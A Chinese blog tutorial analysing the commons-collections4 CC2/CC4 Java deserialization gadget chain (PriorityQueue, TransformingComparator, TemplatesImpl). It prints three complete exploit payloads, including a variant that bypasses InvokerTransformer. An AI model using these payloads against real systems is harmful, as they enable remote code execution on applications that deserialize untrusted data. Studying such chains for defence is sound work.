浅谈commons-collections4链

commons-collections4的背景:

由于commons-collections (3.x) 在架构设计和 API 上暴露出一些问题(例如接口设计不够清晰、某些实现不够高效或灵活)。然而,修复这些问题需要进行大量不兼容的改动。官方认识到,进行必要的架构改进会导致新版本 无法与老版本 (3.x) 保持二进制或源代码兼容。强行作为 3.x 的直接升级版 (commons-collections 4.0) 发布,会破坏无数依赖老版本 API 的现有项目。因此将包含重大改进但不兼容的版本作为一个全新的项目分支发布,而不是作为老项目的延续;

也就是说commons-collections4版本不是commons-collections3版本的升级,而是作为新的项目发布

因此

在这个区别上存在两个分支版本commons-collections

commons-collections:commons-collections
org.apache.commons:commons-collections4

那么很⾃然有个问题,既然3.2.1中存在反序列化利⽤链,那么4.0版本是否存在呢?

事实上,commons-collections4和commons-collections3 内涵其实是差不多的,只是用法上存在差异与存在一些不一样的类;

比如说同样是cc6;在commons-collections4

我们在引入commons-collections4的包后发现

LazyMap.decorate报错;在之前的decorate中他的作用是返回一个LazyMap对象

我们查看LazyMap源码发现

他从之前的decorate返回对象变成了LazyMap返回对象了;

但他的其他调用链却没有什么太大的变化

我们尝试把decorate改成LazyMap,发现仍然可以正常弹出计算器;

在cc1,cc3都可以兼容在commons collections4使用

那这有什么意义呢

反序列化的核心在于transform函数的invoke反射调用;导致的任意代码执行;commons-collections3和commons-collections4不都是一样的吗?

我认为应该这样想多一个版本不就多几条链了吗,可以看到在代码有些部分虽然有些细微差别,但源码大多一致,有时候可以达到兼容的效果;组合起来不就又多几条链了吗;

下面我来介绍一下ysoserial中的cc2和cc4中的PriorityQueue利⽤链

PriorityQueue(优先队列)是 Java 集合框架中的一种特殊队列实现,基于优先级堆(通常是最小堆)实现。其核心特点是:

  • 元素按优先级排序出队(默认自然顺序)
  • 不是先进先出(FIFO),而是按优先级高低出队
  • 底层使用数组存储二叉堆结构

既然同为cc链系列,他们的思路其实都是一致的,都是通过transform函数实现的任意代码执行;攻击路径都是从一个readobject触发点出发到transform函数的方法调用链;过程仍然形象化为 如下图的"拼接过程"

readobject
->...
->..
->transform

下面我们来具体分析PriorityQueue链

老规矩,还是先找transform函数

在TransformingComparator的compare方法中我们看到它调用了transform函数

public int compare(I obj1, I obj2) {
O value1 = (O)this.transformer.transform(obj1);
O value2 = (O)this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

再回到PriorityQueue的readobject方法,发现调用了heapify,持续跟进下去就会发现调用了comparator.compare方法,我们只需要让

comparator=TransformingComparator即可

readobject 调用 heapify

heapify调用 siftDown

siftDown调用siftDownUsingComparator

siftDownUsingComparator调用comparator.compare方法

所以调用链

PriorityQueue->readobject
->heapify
->siftDown
->siftDownUsingComparator
->comparator.compare
->TransformingComparator->compare
->transformer

可以看到链子中使用了siftDown()函数,作用是顶部元素向下比较交换,直到满足堆条件;⽽ comparator.compare() ⽤来⽐较两个元素⼤⼩

TransformingComparator对象(实现了 java.util.Comparator 接⼝,这个接⼝⽤于定义两个对象如何进⾏⽐较;siftDownUsingComparator() 中就使⽤这个接⼝的 compare() ⽅法⽐较树的节点。)倘若比较comparator可控;我们就可以实现传入TransformingComparator对象进行"恶意比较"

在其构造函数中我们发现传进去的comparator=this.comparator,所以只需要

 new PriorityQueue<Object>(2,new TransformingComparator(transformer)); //即可

所以构造payload

 Comparator cmp = new TransformingComparator(transformerchains);//载荷
PriorityQueue queue=new PriorityQueue(2,cmp);//触发器

payload如下

package org.com.cc;
//import org.apache.commons.collections.Transformer;
//import org.apache.commons.collections.functors.ChainedTransformer;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections.functors.InvokerTransformer;
//import org.apache.commons.collections.keyvalue.TiedMapEntry;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.lang.SerializationUtils;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.map.TransformedMap;
import org.apache.commons.collections4.Transformer; import java.io.Serializable;
import java.lang.annotation.*;
import java.lang.reflect.Field;
import java.util.*;
import java.util.Map;
import java.util.HashMap;
public class CommonCollections2 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] Transformers = new Transformer[]{
// new ConstantTransformer(1), // 反射调用Runtime.getRuntime()
new ConstantTransformer(Runtime.class), // 反射调用Runtime.class
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}), // 反射调用exec函数
new ConstantTransformer(1)
}; Transformer transformerchains = new ChainedTransformer(fakeTransformers); Comparator cmp = new TransformingComparator(transformerchains);
PriorityQueue queue=new PriorityQueue(2,cmp);
queue.add(1); //这个地方是由于需要触发排序与比较,至少要两个元素才能进行排序与比较
queue.add(2);
setFieldValue(transformerchains, "iTransformers", Transformers);
//序列化
byte[] exp=SerializationUtils.serialize((Serializable) queue);
// aesCipherService aes=new aesCipherService();
;
//反序列化
SerializationUtils.deserialize(exp); } private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
} }

结合上一篇文章我们尝试构造无数组形式的payload与绕过InvokerTransformer

无数组payload

package org.com.cc;
//import org.apache.commons.collections.Transformer;
//import org.apache.commons.collections.functors.ChainedTransformer;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections.functors.InvokerTransformer;
//import org.apache.commons.collections.keyvalue.TiedMapEntry;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.map.TransformedMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.lang.SerializationUtils;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.map.TransformedMap;
import org.apache.commons.collections4.Transformer; import javax.xml.transform.Templates;
import java.io.Serializable;
import java.lang.annotation.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import java.util.Map;
import java.util.HashMap;
public class CommonCollections2 {
public static void main(String[] args) throws Exception {
/* Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] Transformers = new Transformer[]{
// new ConstantTransformer(1), // 反射调用Runtime.getRuntime()
new ConstantTransformer(Runtime.class), // 反射调用Runtime.class
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}), // 反射调用exec函数
new ConstantTransformer(1)
};*/
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("toString", null, null); Comparator cmp = new TransformingComparator(transformer);
PriorityQueue queue=new PriorityQueue(2,cmp); queue.add(obj);
queue.add(obj); setFieldValue(transformer, "iMethodName", "newTransformer");
//setFieldValue(transformerchains, "iTransformers", Transformers);
//序列化
byte[] exp=SerializationUtils.serialize((Serializable) queue);
// aesCipherService aes=new aesCipherService();
;
//反序列化
SerializationUtils.deserialize(exp); } private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
} }

增加绕过 InvokerTransformer payload

package org.com.cc;
//import org.apache.commons.collections.Transformer;
//import org.apache.commons.collections.functors.ChainedTransformer;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections.functors.InvokerTransformer;
//import org.apache.commons.collections.keyvalue.TiedMapEntry;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.map.TransformedMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.lang.SerializationUtils;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.map.TransformedMap;
import org.apache.commons.collections4.Transformer; import javax.xml.transform.Templates;
import java.io.Serializable;
import java.lang.annotation.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import java.util.Map;
import java.util.HashMap;
public class CommonCollections2 {
public static void main(String[] args) throws Exception {
/* Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] Transformers = new Transformer[]{
// new ConstantTransformer(1), // 反射调用Runtime.getRuntime()
new ConstantTransformer(Runtime.class), // 反射调用Runtime.class
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}), // 反射调用exec函数
new ConstantTransformer(1)
};*/
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); // 初始化一个无害的 InstantiateTransformer,使用String.class和空字符串
Transformer transformer = new InstantiateTransformer(
new Class[]{String.class}, // 参数类型数组
new Object[]{""} // 参数值数组
); Comparator cmp = new TransformingComparator(transformer);
PriorityQueue queue=new PriorityQueue(2,cmp);
// 通过反射修改队列内部数组,直接放入两个TrAXFilter.class
Object[] queueArray = new Object[]{TrAXFilter.class, TrAXFilter.class};
setFieldValue(queue, "queue", queueArray);
setFieldValue(queue, "size", 2);
// setFieldValue(queue, "key", TrAXFilter.class);
setFieldValue(transformer, "iParamTypes", new Class[]{Templates.class});
setFieldValue(transformer, "iArgs", new Object[]{obj});
//setFieldValue(transformerchains, "iTransformers", Transformers);
//序列化
byte[] exp=SerializationUtils.serialize((Serializable) queue);
// aesCipherService aes=new aesCipherService();
;
//反序列化
SerializationUtils.deserialize(exp); } private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
} }

总结:本篇文章介绍了commons-collections4的背景以及与commons-collections3的差异与兼容性,通过cc6的commons-collections4版本的兼容性解释了cc链的核心逻辑与cc2链子的分析与构造,篇末介绍了cc2的无数组加载字节码利用方式以及拓展性的 InvokerTransformer 绕过;

------------------------------------备注------------------------------

参考 p牛->知识星球->代码审计->java系列文章

浅谈commons-collections4链的更多相关文章

  1. 小E浅谈丨区块链治理真的是一个设计问题吗?

    在2018年6月28日Zcon0论坛上,“区块链治理”这个话题掀起了大神们对未来区块链治理和区块链发展的一系列的畅想. (从左至右,分别为:Valkenburgh,Zooko,Jill, Vitali ...

  2. 浅谈javascript的原型及原型链

    浅谈javascript的原型及原型链 这里,我们列出原型的几个概念,如下: prototype属性 [[prototype]] __proto__ prototype属性 只要创建了一个函数,就会为 ...

  3. JS function 是函数也是对象, 浅谈原型链

    JS function 是函数也是对象, 浅谈原型链 JS 唯一支持的继承方式是通过原型链继承, 理解好原型链非常重要, 我记录下我的理解 1. 前言 new 出来的实例有 _proto_ 属性, 并 ...

  4. 浅谈Angular的 $q, defer, promise

    浅谈Angular的 $q, defer, promise 时间 2016-01-13 00:28:00  博客园-原创精华区 原文  http://www.cnblogs.com/big-snow/ ...

  5. 浅谈HTML5单页面架构(二)——backbone + requirejs + zepto + underscore

    本文转载自:http://www.cnblogs.com/kenkofox/p/4648472.html 上一篇<浅谈HTML5单页面架构(一)--requirejs + angular + a ...

  6. 浅谈struts2之chain

    转自:http://blog.csdn.net/randomnet/article/details/8656759 前一段时间,有关chain的机制着实困绕了许久.尽管网上有许多关于chain的解说, ...

  7. Android性能优化的浅谈

    一.概要: 本文主要以Android的渲染机制.UI优化.多线程的处理.缓存处理.电量优化以及代码规范等几方面来简述Android的性能优化 二.渲染机制的优化: 大多数用户感知到的卡顿等性能问题的最 ...

  8. 浅谈 Linux 内核无线子系统

    浅谈 Linux 内核无线子系统 本文目录 1. 全局概览 2. 模块间接口 3. 数据路径与管理路径 4. 数据包是如何被发送? 5. 谈谈管理路径 6. 数据包又是如何被接收? 7. 总结一下 L ...

  9. 浅谈JavaScript中的闭包

    浅谈JavaScript中的闭包 在JavaScript中,闭包是指这样一个函数:它有权访问另一个函数作用域中的变量. 创建一个闭包的常用的方式:在一个函数内部创建另一个函数. 比如: functio ...

  10. 浅谈算法和数据结构: 七 二叉查找树 八 平衡查找树之2-3树 九 平衡查找树之红黑树 十 平衡查找树之B树

    http://www.cnblogs.com/yangecnu/p/Introduce-Binary-Search-Tree.html 前文介绍了符号表的两种实现,无序链表和有序数组,无序链表在插入的 ...

随机推荐

  1. linux mongodb安装

    更新依赖包 安装前我们需要安装各个 Linux 平台依赖包. Red Hat/CentOS: sudo yum install libcurl openssl Ubuntu 18.04 LTS (&q ...

  2. go 结构体根据某个字段进行排序

    前言 在任何编程语言中,关乎到数据的排序都会有对应的策略,我们来看下 Golang 是怎样对数据进行排序,以及我们如何优化处理使用 go 排序 go 可以针对任何对象排序,虽然很多情况下是一个 sli ...

  3. CVE-2025-29927 Next.js 中间件权限绕过漏洞复现

    漏洞信息 Next.js 是一个基于 React 的流行 Web 应用框架,提供服务器端渲染.静态网站生成和集成路由系统等功能.包含众多功能,是深入研究复杂研究的完美游乐场.在信念.好奇心和韧性的推动 ...

  4. MaxKB+Ollama 离线部署

    主题:在 Centos7 环境部署 MaxKB 以及 Ollama 实现基于离线大模型的的小助手调用. 选择离线部署的原因:原计划是打算直接使用 1Panel 进行 MaxKB 和 Ollama 一键 ...

  5. IIS7配置301永久重定向

    我把我的小域名www.taadis.com301永久重定向到taadis.com. 关键图解:

  6. 如何使用 OpenAI Agents SDK 构建 MCP

    1.概述 OpenAI Agents SDK 现已支持 MCP(模型上下文协议),这是 AI 互操作性的重大变革.这使开发人员能够高效地将 AI 模型连接到外部工具和数据源.本篇博客,笔者将指导使用 ...

  7. Java8 Lambda Collection 的常见用法

    import cn.hutool.core.collection.CollUtil; import cn.hutool.core.collection.ListUtil; import cn.huto ...

  8. FastAPI中的依赖注入与数据库事务管理

    title: FastAPI中的依赖注入与数据库事务管理 date: 2025/04/09 00:10:29 updated: 2025/04/09 00:10:29 author: cmdragon ...

  9. C# LINQ 快速入门实战指南,建议收藏学习!

    前言 因为咱们的.NET EF Core快速入门实战教程经常会用到 LINQ 去查询和操作 MySQL 中的数据,因此我觉得很有必要对 LINQ 的一些使用技巧.常用方法.特性做一个详细的介绍,让大家 ...

  10. 使用Python可视化磁场

    引言 随着科学技术的发展,物理学中的很多概念变得越来越复杂,但我们可以利用 Python 这一强大的工具,将一些抽象的物理现象变得更加直观易懂.今天,我们将以"磁场可视化"为主题, ...